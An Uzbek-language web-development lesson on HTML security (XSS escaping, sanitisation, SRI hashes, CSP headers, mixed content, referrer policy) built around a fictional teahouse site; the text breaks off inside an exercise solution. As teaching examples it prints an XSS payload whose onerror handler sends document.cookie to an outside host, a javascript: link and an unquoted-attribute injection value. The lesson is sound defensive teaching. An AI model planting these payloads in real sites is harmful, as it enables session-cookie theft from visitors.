IlmHamroh
JavaScript Full-stack/4-qism. HTML81/86-dars22 daqiqa
Mundarija (39)

HTML xavfsizligi: XSS, SRI, CSP, aralash kontent va referrer siyosati

Qisqacha: HTML'dagi eng xavfli xato — foydalanuvchi yozgan matnni ekranlamasdan sahifaga qo'yish (XSS): hujumchining skripti saytingiz nomidan ishlaydi. Himoya qatlamlari: < va & ni ekranlash, havolada faqat https: ga ruxsat, CDN skriptlarini integrity + crossorigin (SRI) bilan ulash va CSP bilan begona skriptlarni taqiqlash. Bundan tashqari: HTTPS sahifada http:// resurs yo'q, maxfiy manzillarda referrerpolicy, target="_blank" da rel="noopener", begona iframe'da sandbox.

Bu darsda

  • XSS qanday ishlashini va ekranlash uni qanday to'xtatishini tushuntira olasiz.
  • Foydalanuvchi ma'lumoti HTML'ning qaysi joyiga qanday qoida bilan qo'yilishini bilasiz.
  • CDN'dan skriptni SRI bilan ulaysiz va hash'ni o'zingiz hisoblaysiz.
  • «Bahor» uchun CSP yozasiz va uning xabarlarini o'qiy olasiz.
  • Aralash kontent, referrer, havola, iframe va forma xavfsizligini bitta ro'yxatga yig'asiz.

Oldin bilishingiz kerak: Resurs maslahatlari, iframe xavfsizligi, Forma xavfsizligi, Kam ma'lum, lekin foydali meta teglar, Maxsus belgilar va HTML entity'lar.

1. Nega bu kerak?

O'tgan darsda template ga matn qo'yishda "textContent — xavfsiz yo'l" degan edik va sababini shu darsga qoldirdik. Endi vaqti keldi.

«Bahor» saytida "Mehmonlar fikri" bo'limi paydo bo'ldi: har kim izoh yozadi, izohlar bosh sahifada chiqadi. Bir kuni kechqurun choyxona egasi Jasur aka admin panelda yangi izohni ochadi. Hech narsa g'alati ko'rinmaydi. Ertasi kuni esa uning hisobidan choyxona menyusidagi narxlar o'zgartirilgan, bosh sahifada kazino reklamasi turibdi.

Izohda oddiy matn emas, HTML bor edi. Sayt uni "boricha" chiqardi — va hujumchining kodi Jasur akaning brauzerida, uning nomidan ishladi.

Bu darsda bunday hujumlarga qarshi HTML qatlamidagi himoyalarni yig'amiz. Oldingi darslarda ularning ko'pini alohida-alohida ko'rgansiz. Endi ular bitta devorga aylanadi.

2. XSS — begona skript sizning saytingizda

2.1 Hujum qanday ishlaydi

XSS (Cross-Site Scripting — saytlararo skript) — hujumchining JavaScript kodi sizning saytingiz sahifasida, mehmonning brauzerida ishlashi.

Nega bu shunchalik xavfli? Origin va Same-Origin Policy darsidan bilasiz: brauzer bir saytning boshqa sayt ma'lumotiga tegishini taqiqlaydi. Lekin XSS'da skript sizning sahifangizda turibdi. Brauzer uni "o'ziniki" deb biladi va hamma narsaga ruxsat beradi: sahifani o'zgartirish, mehmon nomidan so'rov yuborish, u yozayotgan parolni o'qish.

Izohga hujumchi shunday yozdi:

text
Osh zo'r! <img src=x onerror="fetch('https://example.com/?c='+document.cookie)">

Server izohni hech narsa qilmasdan sahifaga qo'ydi:

html
<!-- ❌ server shunday chiqardi -->
<li>Osh zo'r! <img src=x
  onerror="fetch('https://example.com/?c='+document.cookie)"></li>

Brauzer buni oddiy HTML deb tushunadi. x degan rasm topilmaydi. onerror atributi esa "rasm yuklanmasa, shu JavaScript kodni ishga tushir" degani. Kod saytning cookie'larini hujumchining serveriga yuboradi. JavaScript'ni hali bilmaysiz — bu yerda faqat bitta narsa muhim: matn kod bo'lib qoldi.

Diqqat qiling: hujumda <script> tegi yo'q. Shuning uchun "<script> so'zini o'chirib tashlasam bo'ldi" degan fikr — xato. Hujum yo'llari yuzlab.

2.2 Asosiy himoya: ekranlash

Maxsus belgilar darsida < ni &lt; qilib yozishni o'rgangan edik. Aynan shu — XSS'ga qarshi asosiy himoya. Ekranlash (escaping) — HTML uchun maxsus ma'noli belgilarni entity'ga almashtirish:

Belgi Entity Nega
& &amp; Entity boshlanishi
< &lt; Teg boshlanishi
> &gt; Teg oxiri
" &quot; Atribut qiymati chegarasi
' &#39; Atribut qiymati chegarasi

Ekranlangan izoh sahifaga shunday tushadi:

html
<li>Osh zo'r! &lt;img src=x onerror=...&gt;</li>

Mehmon ekranda hujumchining yozganini matn sifatida ko'radi: <img src=x onerror=...>. Brauzer uni teg deb tushunmaydi. Kod ishlamaydi.

Ekranlashni kim qiladi? Sahifani yig'adigan dastur — server yoki JavaScript. Backend'dagi shablon dvigatellari va React buni avtomatik qiladi. JavaScript'da esa textContent shu ishni bajaradi — o'tgan darsdagi maslahat shundan. Sizning vazifangiz — bu avtomatik himoyani "o'chirib qo'ymaslik". Bu haqda Kontentni o'zgartirish va XSS xavfi va React'da xavfsizlik darslarida gaplashamiz.

2.3 Joy muhim: bir xil ma'lumot, har xil qoida

Foydalanuvchi ma'lumoti HTML'ning qayerga tushishiga qarab, himoya ham har xil:

Qayerga Qoida
Teglar orasidagi matn Beshta belgini ekranlash
Atribut qiymati Ekranlash va qiymat har doim qo'shtirnoqda
href, src Ekranlash yetmaydi — sxemani tekshirish (https: ro'yxati)
<script> ichi, on... atributlar, style Umuman qo'ymang

Ikkinchi qator nega muhim? Qo'shtirnoqsiz atributni ko'ring:

html
<!-- ❌ ism qo'shtirnoqsiz qo'yilgan -->
<input type="text" name="ism" value=Ali onfocus=alert(1) autofocus>

Mehmon ismini Ali onfocus=alert(1) autofocus deb yozgan. Qo'shtirnoq yo'q — bo'sh joy atributni tugatadi va qolgani yangi atributlarga aylanadi. Qiymat qo'shtirnoqda bo'lganida esa hammasi bitta oddiy satr bo'lib qolardi.

2.4 javascript: havolalar

Havola asoslari darsida bu xavfni eslatib o'tgan edik. «Bahor» saytida mehmon profilida "Mening saytim" maydoni bor. Hujumchi unga manzil o'rniga kod yozadi:

html
<!-- ❌ -->
<a href="javascript:alert(document.cookie)">Mening saytim</a>

Bu yerda ekranlanadigan belgi yo'q — < ham, " ham. Lekin havolani bosgan odamning brauzerida kod ishlaydi. Himoya: server manzilni saqlashdan oldin uning sxemasini tekshiradi. Ruxsat ro'yxati: https: (kerak bo'lsa http:, mailto:, tel:). Boshqa hamma narsa rad etiladi. Bu usul allowlist (ruxsat ro'yxati) deyiladi: "nima mumkin"ni sanaymiz, "nima mumkin emas"ni emas. Taqiqlar ro'yxati hech qachon to'liq bo'lmaydi.

2.5 HTML'ga ruxsat kerak bo'lsa: tozalash

Ba'zan foydalanuvchiga ba'zi teglar kerak: izohda qalin matn, havola, ro'yxat. Unda ekranlash to'g'ri kelmaydi — <b> ham matn bo'lib qoladi. Yechim — sanitizatsiya (tozalash): ruxsat etilgan teglar va atributlar qoldiriladi, qolgani (script, on... atributlari, javascript: havolalar) olib tashlanadi.

Tozalash kodini o'zingiz yozmang. Brauzer HTML'ni qanday tahlil qiladi darsida ko'rgandik: parserning g'alati qoidalari bor va hujumchilar ular bilan filtrlarni aldashadi. Buning uchun sinovdan o'tgan kutubxonalar bor: brauzerda DOMPurify, Node.js'da sanitize-html. Brauzerlarga o'rnatilgan tozalash vositasi (Sanitizer API) ham kirib kelmoqda. Hammasini XSS va DOM xavfsizligi darsida ishlatamiz.

Markdown ham bir kun HTML'ga aylanadi — foydalanuvchi yozgan markdown'ni ham tozalash kerak.

2.6 Begona SVG fayllar

SVG darsida "xavf — begona fayllarda" degan edik. SVG — matnli format, uning ichida <script> bo'lishi mumkin. Xavf SVG qanday ochilishiga bog'liq:

Qanday ko'rsatiladi Ichidagi skript
<img src="avatar.svg"> Ishlamaydi
Fayl manzili to'g'ridan-to'g'ri ochilsa Ishlaydi — saytingiz nomidan
SVG kodi sahifaga qo'yilsa (inline) Ishlaydi

Mehmon avatar sifatida SVG yuklasa va u sizning domeningizda saqlansa, hujumchi uning manzilini boshqalarga yuboradi. Qoidalar: begona SVG faqat img orqali ko'rsatiladi, iloji bo'lsa — alohida domenda saqlanadi yoki yuklashda tozalanadi. Eng sodda yo'l — avatar uchun SVG'ni umuman qabul qilmaslik (Fayl yuklash maydoni darsidagi accept va server tekshiruvi).

Tekshirib ko'ring: Dasturchi izohlardan <script> so'zini o'chirib tashlaydigan filtr yozdi. XSS'dan himoyalandikmi?

Javob

Yo'q. Dars boshidagi hujumda <script> umuman yo'q edi — img va onerror yetarli. Yuzlab boshqa yo'llar ham bor. Taqiqlar ro'yxati hech qachon to'liq bo'lmaydi. To'g'ri yo'l — hamma belgilarni ekranlash yoki HTML kerak bo'lsa, ruxsat ro'yxatiga asoslangan kutubxona (DOMPurify) bilan tozalash.

3. Begona skriptlar: SRI

3.1 Muammo: birovning serveriga ishonch

Keyinroq izohlarni JavaScript bilan chiqarganda DOMPurify kerak bo'ladi. Uni CDN'dan (jsDelivr) ulash qulay. Lekin sahifangizda endi boshqa kompaniya serveridagi kod ishlaydi. Skriptlarni ulash darsidagi polyfill.io voqeasini eslang: domen boshqa qo'lga o'tdi va 100 mingdan ortiq saytda begona kod ishladi.

3.2 integrity — qisqa eslatma

SRI (Subresource Integrity) ni o'sha darsda dayjs misolida ko'rgan edik. Qisqasi: integrity ga faylning hash'i — "barmoq izi" — yoziladi. Brauzer faylni yuklab, hash'ini o'zi hisoblaydi va solishtiradi. Mos kelmasa — faylni ishga tushirmaydi. Endi DOMPurify'ni shu usulda ulaymiz va o'sha darsda ko'rmagan nozik joylarni ochamiz.

html
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.6"
  integrity="sha256-ieH6dkfLSVNw06mXrOQ4f10V2fTFrxI1LFPapACVYoc="
  crossorigin="anonymous" defer></script>
  • src — versiyasi aniq ko'rsatilgan manzil: @3.2.6. jsDelivr bunday manzilga paketning asosiy faylini — dist/purify.min.js ni — beradi.
  • integrity — hash algoritmi (sha256), defis va hash'ning o'zi (base64 ko'rinishida).
  • crossorigin="anonymous" — faylni boshqa domendan CORS rejimida, cookie'siz so'rash. Nega kerakligini pastda ko'ramiz.
  • defer — Skriptlarni ulash darsidagi atribut: skript sahifa tahlilini to'xtatmaydi.

Hash algoritmi sha256, sha384 yoki sha512 bo'lishi mumkin. CDN saytlari ko'pincha sha384 beradi. Uchalasi ham xavfsiz. Biz qator telefonga sig'ishi uchun qisqaroq sha256 ni tanladik.

3.3 Hash'ni qayerdan olish

  1. CDN sahifasidan. jsDelivr va cdnjs'da faylning yonida "Copy SRI" kabi tugma bor — integrity va crossorigin bilan tayyor teg nusxalanadi.
  2. O'zingiz hisoblash. Git Bash'da (unda openssl bor):
bash
curl -s https://cdn.jsdelivr.net/npm/dompurify@3.2.6 \
  | openssl dgst -sha256 -binary | openssl base64 -A

Natija:

text
ieH6dkfLSVNw06mXrOQ4f10V2fTFrxI1LFPapACVYoc=

curl faylni yuklaydi, birinchi openssl uning SHA-256 hash'ini hisoblaydi, ikkinchisi uni base64 ko'rinishiga o'giradi. Oldiga sha256- qo'shsangiz — tayyor integrity qiymati.

3.4 Hash mos kelmasa

Faylni boshqa versiyaga (@3.2.5) almashtirdik, hash'ni esa eskisicha qoldirdik. Chrome konsoli:

text
Failed to find a valid digest in the 'integrity' attribute for resource 'https://cdn.jsdelivr.net/npm/dompurify@3.2.5/dist/purify.min.js' with computed SHA-256 integrity 'SCmGefnjCPBf3NW3QhwV/PtUWEWjqZu68xAziQYQ6ws='. The resource has been blocked.

Tarjimasi: "resurs uchun integrity atributida yaroqli hash topilmadi; hisoblangan SHA-256 — '...'. Resurs bloklandi." Aynan shu — himoya ishlagani. Fayl o'zgargan — skript ishlamadi.

Shundan muhim qoida kelib chiqadi: SRI faqat aniq versiya bilan. dompurify@3 yoki @latest deb yozsangiz, CDN yangi versiya chiqqanda boshqa fayl beradi — va saytingizdagi skript bir kuni to'satdan bloklanadi.

3.5 crossorigin unutilsa

integrity bor, crossorigin yo'q:

text
Subresource Integrity: The resource 'https://cdn.jsdelivr.net/npm/dompurify@3.2.4/dist/purify.min.js' has an integrity attribute, but the resource requires the request to be CORS enabled to check the integrity, and it is not. The resource has been blocked because the integrity cannot be enforced.

Tarjimasi: "resursda integrity bor, lekin yaxlitlikni tekshirish uchun so'rov CORS rejimida bo'lishi kerak, u esa unday emas. Tekshirib bo'lmagani uchun resurs bloklandi". Boshqa domendagi faylning ichini brauzer faqat CORS ruxsati bilan "ko'ra" oladi. jsDelivr bunday ruxsatni beradi (Access-Control-Allow-Origin: * sarlavhasi). crossorigin ni Resurs maslahatlari darsida shriftlar uchun ham uchratgan edik — sabab o'xshash.

SRI script va link rel="stylesheet" da ishlaydi (shuningdek preload va modulepreload da). O'z serveringizdagi fayllar uchun u odatda kerak emas. Har safar boshqa fayl beradigan xizmatga (polyfill.io kabi) SRI qo'yib bo'lmaydi — ulardan voz kechish yoki faylni o'z serveringizga ko'chirish eng ishonchli yo'l.

Maslahat: html-validate'da require-sri qoidasi bor. .htmlvalidate.json da "require-sri": ["error", { "target": "crossorigin" }] deb yoqsangiz, boshqa domendan integrity siz ulangan har bir skript va stilni xato deb ko'rsatadi.

Tekshirib ko'ring: Nega SRI bilan https://cdn.jsdelivr.net/npm/dompurify@latest ni ulash yomon fikr?

Javob

@latest — "eng oxirgi versiya". Yangi versiya chiqishi bilan CDN boshqa fayl beradi, hash mos kelmaydi va brauzer skriptni bloklaydi — sayt buziladi. SRI faqat hech qachon o'zgarmaydigan fayl bilan ishlaydi, ya'ni aniq versiya bilan (@3.2.6).

4. CSP — oxirgi to'siq

4.1 G'oya

Kam ma'lum meta teglar darsida CSP bilan tanishgan edik va «Bahor» ga uni qo'shishni shu darsga qoldirgan edik. Eslatma: CSP (Content Security Policy) — brauzerga "bu sahifa qaysi manbalardan skript, rasm va boshqa resurslarni yuklashi mumkin" degan ro'yxat.

CSP'ning XSS'ga qarshi asosiy kuchi shunda: script-src yozilgan bo'lsa, brauzer HTML ichiga yozilgan skriptlarni ham bajarmaydi. Bular <script>...</script> bloklari, onerror, onclick kabi atributlar va javascript: havolalar. Ya'ni ekranlash qayerdadir unutilgan va hujumchi HTML qo'shib ulgurgan bo'lsa ham, uning kodi ishlamaydi.

4.2 «Bahor» uchun CSP

html
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self';
               script-src 'self' https://cdn.jsdelivr.net;
               img-src 'self' https:;
               object-src 'none';
               base-uri 'self';
               form-action 'self';
               upgrade-insecure-requests">
Qoida (direktiva) Ma'nosi
default-src 'self' Boshqa qoida yozilmagan hamma narsa — faqat o'z saytimizdan
script-src Skriptlar: o'z saytimiz va jsDelivr; HTML ichidagi kod — yo'q
img-src 'self' https: Rasmlar: o'z saytimiz va istalgan HTTPS manzil
object-src 'none' Eskirgan object/embed plaginlari — umuman yo'q
base-uri 'self' Hujumchi base tegi bilan nisbiy yo'llarni bura olmaydi
form-action 'self' Formalar faqat o'z saytimizga yuboriladi
upgrade-insecure-requests http:// resurslarni avtomatik https:// ga o'giradi

'self' — qo'shtirnoq bilan: bu kalit so'z, "shu sahifaning origin'i". Qoidalar ; bilan ajratiladi. Ularni qulaylik uchun alohida qatorlarga yozdik — brauzer yangi qatorni bo'sh joy kabi o'qiydi.

base-uri va form-action nega kerak? Tasavvur qiling, hujumchi XSS orqali skript qo'sha olmadi (CSP to'sdi), lekin HTML qo'sha oldi. U <base href="https://example.net/"> qo'shsa, sahifadagi hamma nisbiy havolalar uning saytiga ketadi (head anatomiyasi darsidagi base). Soxta "Qayta kiring" formasi qo'shsa, parol uning serveriga ketadi. Bu ikki qoida ikkalasini ham to'sadi.

Meta tegni head ning boshida, charset dan keyin qo'yamiz: CSP faqat o'zidan keyingi qatorlarga ta'sir qiladi.

4.3 CSP xabarlarini o'qish

Sahifaga ataylab <script>console.log("salom")</script> qo'shdik. Chrome konsoli:

text
Executing inline script violates the following Content Security Policy directive 'script-src 'self' https://cdn.jsdelivr.net'. Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked.

Tarjimasi: "sahifa ichidagi skriptni bajarish CSP qoidasini (script-src ...) buzadi. Ruxsat uchun 'unsafe-inline', hash yoki nonce kerak. Amal bloklandi." Dars boshidagi onerror hujumi uchun ham xuddi shunday xabar chiqadi, faqat "inline event handler" (HTML ichidagi hodisa atributi) deb yoziladi.

Xabardagi uch yo'lning birinchisi — 'unsafe-inline' — nomining o'zi ogohlantiradi: "xavfli". U HTML ichidagi hamma kodga, jumladan hujumchinikiga ham ruxsat beradi va CSP'ning XSS himoyasini yo'qqa chiqaradi. Hash va nonce — xavfsiz yo'llar. Ular JavaScript'ni o'rganganimizdan keyin, Content Security Policy chuqur darsida.

Rasm ruxsat etilmagan manbadan kelsa, xabar boshqacha boshlanadi: Loading the image '...' violates the following Content Security Policy directive... — mantiq bir xil.

4.4 Meta emas, server sarlavhasi

Meta tegdagi CSP — yaxshi boshlanish, lekin to'liq emas. Ba'zi qoidalar faqat HTTP sarlavhasida ishlaydi. Meta'ga frame-ancestors yozsangiz:

text
The Content Security Policy directive 'frame-ancestors' is ignored when delivered via a <meta> element.

"frame-ancestors qoidasi <meta> orqali berilganda e'tiborsiz qoldiriladi." Clickjacking'dan himoya (iframe xavfsizligi) aynan shu qoida bilan qilinadi — demak, u faqat serverda.

Netlify'da sarlavhalar loyiha ildizidagi _headers faylida yoziladi. «Bahor» uchun:

text
/*
  Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; img-src 'self' https:; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests
  X-Content-Type-Options: nosniff
  Referrer-Policy: strict-origin-when-cross-origin
  Permissions-Policy: camera=(), microphone=(), geolocation=()
  • CSP qatori — xuddi meta'dagidek, faqat bitta qatorda va frame-ancestors 'none' qo'shilgan.
  • X-Content-Type-Options: nosniff — brauzer faylning turini "taxmin qilmasin", server aytgan turga ishonsin. Masalan, yuklangan "rasm" ichida kod bo'lsa, u skript sifatida ishga tushmaydi.
  • Referrer-Policy — referrer qoidasi butun sayt uchun.
  • Permissions-Policy — sahifa kamera, mikrofon va joylashuvni umuman ishlatmaydi. iframe darsidagi allow atributining butun sahifa uchun "katta akasi".

Bu faylni Birinchi deploy darsida ishlatamiz. Sarlavhalarni tekshirish uchun Mozilla'ning bepul HTTP Observatory xizmati bor: sayt manzilini kiritasiz — u sarlavhalarni baholab, nima yetishmasligini aytadi.

Diqqat: CSP'ni sinamasdan qo'ysangiz, o'z saytingizni buzasiz. Masalan, yuqoridagi CSP Cloudflare Turnstile'ni to'sadi — uning skripti challenges.cloudflare.com da. Qo'shishdan oldin DevTools Console'ni ochib, sahifaning hamma qismini sinab chiqing. Serverda buning maxsus rejimi bor: Content-Security-Policy-Report-Only sarlavhasi hech narsani to'smaydi, faqat buzilishlar haqida xabar beradi.

Tekshirib ko'ring: CSP'da script-src 'self' bor. Hujumchi izohga <img src=x onerror="..."> qo'ya oldi (ekranlash unutilgan). Kod ishlaydimi?

Javob

Yo'q. onerror — HTML ichidagi hodisa atributi (inline event handler). script-src da 'unsafe-inline' yo'q, shuning uchun brauzer uni bajarmaydi va konsolda xabar chiqaradi. Rasm teg sifatida sahifada paydo bo'ladi, lekin kod ishlamaydi. Bu CSP'ning "oxirgi to'siq" ekanining misoli. Ekranlash baribir tuzatilishi kerak — CSP zaxira himoya, asosiy emas.

5. Aralash kontent (mixed content)

HTTPS va TLS darsida ko'rgandik: HTTPS sahifa yo'lda shifrlanadi. Lekin sahifa ichidagi rasm yoki skript http:// dan kelsa, o'sha qism ochiq ketadi. Bu — aralash kontent. Yo'lda turgan hujumchi (masalan, kafedagi Wi-Fi'da) ochiq skriptni o'zinikiga almashtira oladi. Shu bilan butun HTTPS himoyasi yo'qqa chiqadi.

Brauzerlar bunga qattiq javob beradi. Biz HTTPS sahifaga http:// rasm, skript va forma qo'yib, Chrome'da sinadik:

text
Mixed Content: The page at 'https://localhost:8443/mixed.html' was loaded over HTTPS, but requested an insecure script 'http://example.com/eski.js'. This request has been blocked; the content must be served over HTTPS.

"Sahifa HTTPS orqali yuklangan, lekin xavfsiz bo'lmagan skript so'radi. So'rov bloklandi; kontent HTTPS orqali berilishi kerak." Skript — bloklanadi.

Rasm uchun esa: This request was automatically upgraded to HTTPS — "so'rov avtomatik HTTPS'ga o'tkazildi". Agar rasm HTTPS'da bo'lmasa, u shunchaki ko'rinmaydi.

Forma uchun: contains a form that targets an insecure endpoint — "sahifada xavfsiz bo'lmagan manzilga yuboradigan forma bor". Yuborishda Chrome mehmonga ogohlantirish oynasini ko'rsatadi (Forma xavfsizligi darsida ko'rgandik).

Tuzatish:

  • Hamma manzillarni https:// ga o'zgartiring, o'z fayllaringiz uchun esa nisbiy yo'l ishlating (assets/images/osh.jpg).
  • Eski saytni HTTPS'ga ko'chirganda maqolalar ichida http:// rasmlar qolib ketadi. Ular uchun CSP'dagi upgrade-insecure-requests qoidasi yordam beradi.
  • //example.com/rasm.jpg (sxemasiz manzil) — eski usul. Bugun shunchaki https:// yozing.

6. Qolgan qatlamlar: qisqa takror

Oldingi darslarda ko'rgan HTML himoyalarining hammasi bitta jadvalda:

Joy Xavf HTML himoyasi
a target="_blank" Teskari tabnabbing rel="noopener" (Maxsus havolalar)
Foydalanuvchi havolalari Spam, reyting o'g'irlash rel="ugc nofollow" (Maxsus havolalar)
Begona iframe Skript, popup, kamera sandbox, kam allow (iframe, iframe xavfsizligi)
Sahifangiz begona iframe'da Clickjacking frame-ancestors sarlavhasi (iframe xavfsizligi)
Maxfiy URL (?token=) Referer orqali sizib chiqish no-referrer (Meta teglar)
Forma Ochiq kanal, URL'dagi parol https + method="post" (Forma xavfsizligi)
Parol maydoni Zaif parollar autocomplete (autocomplete), nusxa qo'yishni taqiqlamaslik (Forma xavfsizligi)
meta refresh Bildirmasdan yo'naltirish Ishlatmaslik (Meta teglar)

Ikki qator haqida qo'shimcha:

referrerpolicy atributi. Butun sahifa uchun meta name="referrer" bor. Bitta element uchun esa referrerpolicy atributi — u a, img, iframe, script va link da ishlaydi:

html
<img src="https://example.com/reklama.png" alt=""
     referrerpolicy="no-referrer">

Brauzerlarning standart qoidasi (strict-origin-when-cross-origin) boshqa saytga faqat domen nomini yuboradi. Maxfiy sahifada esa no-referrer — hech narsa yubormaslik — ishonchliroq.

Parol maydoni. autocomplete="current-password" (kirish) va "new-password" (ro'yxatdan o'tish) parol menejeriga yordam beradi. autocomplete="off" esa xavfsizlik bermaydi — bu afsonani Forma xavfsizligi darsida ko'rgandik.

7. HTML — hammaga ochiq kitob

Ctrl + U bosgan har kim sahifangizning HTML'ini ko'radi. Demak, HTML'da (va brauzerga yuboriladigan JavaScript'da) sir bo'lmasligi kerak:

  • Telegram bot tokeni. Kichik saytlarda keng tarqalgan xato: forma ma'lumotini to'g'ridan-to'g'ri api.telegram.org/bot<TOKEN>/... manziliga yuborish. Token sahifa kodida ochiq turadi. Uni topgan odam botingizni to'liq boshqaradi. To'g'ri yo'l: forma o'z serveringizga yuboriladi, token esa serverdagi muhit o'zgaruvchisida saqlanadi.
  • HTML izohlar. <!-- admin panel: /yashirin-panel --> — ko'rinadi.
  • Yashirin maydonlar. type="hidden" qiymati ko'rinadi va o'zgartiriladi (Forma xavfsizligi).
  • Keraksiz fayllar hostingda. index-eski.html, backup.zip, .git papkasi. Hujumchi dasturlari bunday nomlarni minglab saytda avtomatik qidiradi. Hostingga faqat saytning o'ziga kerakli fayllarni yuklang.

8. Hujumchi nigohi

Endi o'zimizni hujumchi o'rniga qo'yamiz va «Bahor» saytini qadamma-qadam "buzishga" urinamiz. Har qadamda qaysi himoya bizni to'xtatishini ko'ramiz.

1-urinish — izohga kod. Izohga <img src=x onerror=...> yozamiz. Server uni ekranlaydi — sahifada oddiy matn chiqadi. To'xtatdi: ekranlash.

2-urinish — ekranlash unutilgan joy. Yangi "Taom haqida savol" sahifasini stajyor yozgan, ekranlashni unutgan. Kodimiz sahifaga HTML bo'lib tushdi. Lekin onerror bajarilmaydi — konsolda CSP xabari. To'xtatdi: CSP script-src.

3-urinish — skriptsiz hujum. Skript ishlamasa, HTML bilan soxta forma qo'shamiz: "Sessiya tugadi, parolni kiriting", action — bizning serverimiz. To'xtatdi: CSP form-action 'self' — brauzer formani begona manzilga yubormaydi.

4-urinish — profildagi havola. "Mening saytim" maydoniga javascript:... yozamiz. To'xtatdi: server sxemani ruxsat ro'yxati bo'yicha tekshirdi. U o'tib ketganda ham CSP javascript: havolani bajarmaydi.

5-urinish — CDN'ni nishonga olish. Saytni emas, u ishlatadigan kutubxonani buzamiz — faylni o'zgartiramiz. To'xtatdi: SRI — hash mos kelmadi, brauzer faylni bloklaydi.

6-urinish — kafedagi Wi-Fi. Tarmoqda o'tirib, ochiq ketayotgan http:// skriptni almashtirmoqchimiz. To'xtatdi: sahifada http:// resurs yo'q, brauzer aralash skriptni baribir bloklaydi.

7-urinish — sahifa kodini o'qish. Ctrl + U — bot tokeni, admin manzili, parol qidiramiz. To'xtatdi: HTML'da sir yo'q.

8-urinish — sahifani o'z saytimizga joylash. «Bahor» ni ko'rinmas iframe ichiga qo'yib, mehmonni "Bronni bekor qilish" tugmasini bostirmoqchimiz. To'xtatdi: frame-ancestors 'none' sarlavhasi.

Ko'ryapsizmi: hech bir himoya yolg'iz emas. Ekranlash unutildi — CSP ushladi. Skript to'sildi — form-action ushladi. Bu tamoyil chuqur himoya (defense in depth) deb ataladi. Qal'a devorini eslang: tashqi devor, ichki devor, darvoza, qorovul. Bittasi yiqilsa, keyingisi turadi.

9. «Bahor»: xavfsiz bosh sahifa

Darsdagi hamma qatlam bitta sahifada:

html
<!DOCTYPE html>
<html lang="uz">
<head>
  <meta charset="utf-8">
  <meta http-equiv="Content-Security-Policy"
        content="default-src 'self';
                 script-src 'self' https://cdn.jsdelivr.net;
                 img-src 'self' https:;
                 object-src 'none';
                 base-uri 'self';
                 form-action 'self';
                 upgrade-insecure-requests">
  <meta name="viewport"
        content="width=device-width, initial-scale=1">
  <title>Choyxona «Bahor» — Chilonzor, Toshkent</title>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.6"
    integrity="sha256-ieH6dkfLSVNw06mXrOQ4f10V2fTFrxI1LFPapACVYoc="
    crossorigin="anonymous" defer></script>
</head>
<body>
  <main>
    <h1>Choyxona «Bahor»</h1>

    <section aria-labelledby="izohlar-sarlavha">
      <h2 id="izohlar-sarlavha">Mehmonlar fikri</h2>
      <ul>
        <li>Osh zo'r! &lt;img src=x onerror=...&gt;</li>
        <li>Kompot biroz shirin, lekin xizmat a'lo.</li>
      </ul>
    </section>

    <p><a href="https://example.com/instagram"
          target="_blank" rel="noopener noreferrer">Instagram
      sahifamiz</a></p>

    <form action="https://example.com/obuna" method="post">
      <label for="email">Email manzilingiz</label>
      <input id="email" name="email" type="email"
             autocomplete="email" required>
      <button type="submit">Obuna bo'lish</button>
    </form>
  </main>
</body>
</html>
  • CSP — head boshida, charset dan keyin.
  • CDN skripti — aniq versiya, integrity, crossorigin.
  • Hujumchining izohi — ekranlangan, oddiy matn bo'lib ko'rinadi.
  • Tashqi havola — rel="noopener noreferrer" bilan.
  • Forma — https, post, o'z saytimizga.

Kod html-validate dan xatosiz o'tadi. Chrome'da sinadik: DOMPurify SRI va CSP bilan muammosiz yuklandi. Sahifaga ataylab qo'shilgan inline skript va onerror esa bloklandi.

10. Ko'p uchraydigan xatolar

10.1 integrity bor, crossorigin yo'q

Boshqa domendagi fayl bloklanadi — xabarini yuqorida ko'rdik. Tuzatish: crossorigin="anonymous".

10.2 SRI va o'zgaruvchan versiya

@3, @latest — yangi versiya chiqqan kuni sayt buziladi. Tuzatish: aniq versiya (@3.2.6), yangilashda hash ham yangilanadi.

10.3 CSP'da 'unsafe-inline'

"Sayt ishlamay qoldi — 'unsafe-inline' qo'shib qo'yaman" — CSP'ning XSS himoyasi o'chdi. Tuzatish: HTML ichidagi skriptni alohida .js faylga ko'chiring.

10.4 Faqat <script> ni filtrlash

img onerror, svg onload, javascript: — filtr ulardan o'tib ketadi. Tuzatish: hamma belgini ekranlash yoki tayyor kutubxona bilan tozalash.

10.5 Qo'shtirnoqsiz atribut

value=<%= ism %> kabi shablonda bo'sh joy yangi atribut ochadi. Tuzatish: qiymat doim qo'shtirnoqda va ekranlangan.

10.6 Sir HTML'da

Bot tokeni, API kaliti, admin manzili. Tuzatish: sirlar faqat serverda, muhit o'zgaruvchisida.

11. Mashqlar

1-mashq (oson): Ekranlang

Mehmon ismini shunday yozdi: Ali <b>"Bahor"</b> & do'stlar. Uni li ichiga xavfsiz qo'yish uchun ekranlangan ko'rinishini yozing. < belgisi ga aylanadi.

Yechim
html
<li>Ali &lt;b&gt;&quot;Bahor&quot;&lt;/b&gt; &amp; do&#39;stlar</li>

Ekranda mehmon yozganidek chiqadi: Ali <b>"Bahor"</b> & do'stlar — b qalin qilmaydi, u shunchaki matn. Teglar orasidagi matnda " va ' ni ekranlash shart emas, lekin server odatda beshtasini ham ekranlaydi — shunda bir xil funksiya atributlar uchun ham xavfsiz bo'ladi.

2-mashq (o'rta): CDN'dan xavfsiz ulash

Stajyor shunday yozdi:

html
<script src="https://cdn.jsdelivr.net/npm/dompurify@3"></script>
  1. Bu qatordagi ikki muammoni ayting.
  2. Uni 3.2.6 versiyasi uchun SRI bilan qayta yozing. Hash'ni terminalda o'zingiz hisoblang (buyruq darsda bor) va darsdagi qiymat bilan solishtiring.
Yechim
  1. Versiya aniq emas (@3 — 3-versiyaning eng oxirgisi, fayl o'zgarib turadi) va integrity yo'q — fayl o'zgartirilsa, brauzer bilmaydi.
  2. Hisoblash:
bash
curl -s https://cdn.jsdelivr.net/npm/dompurify@3.2.6 \
  | openssl dgst -sha256 -binary | openssl base64 -A

Natija darsdagidek bo'lishi kerak: ieH6dkfL...ACVYoc=. Teg:

html
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.6"
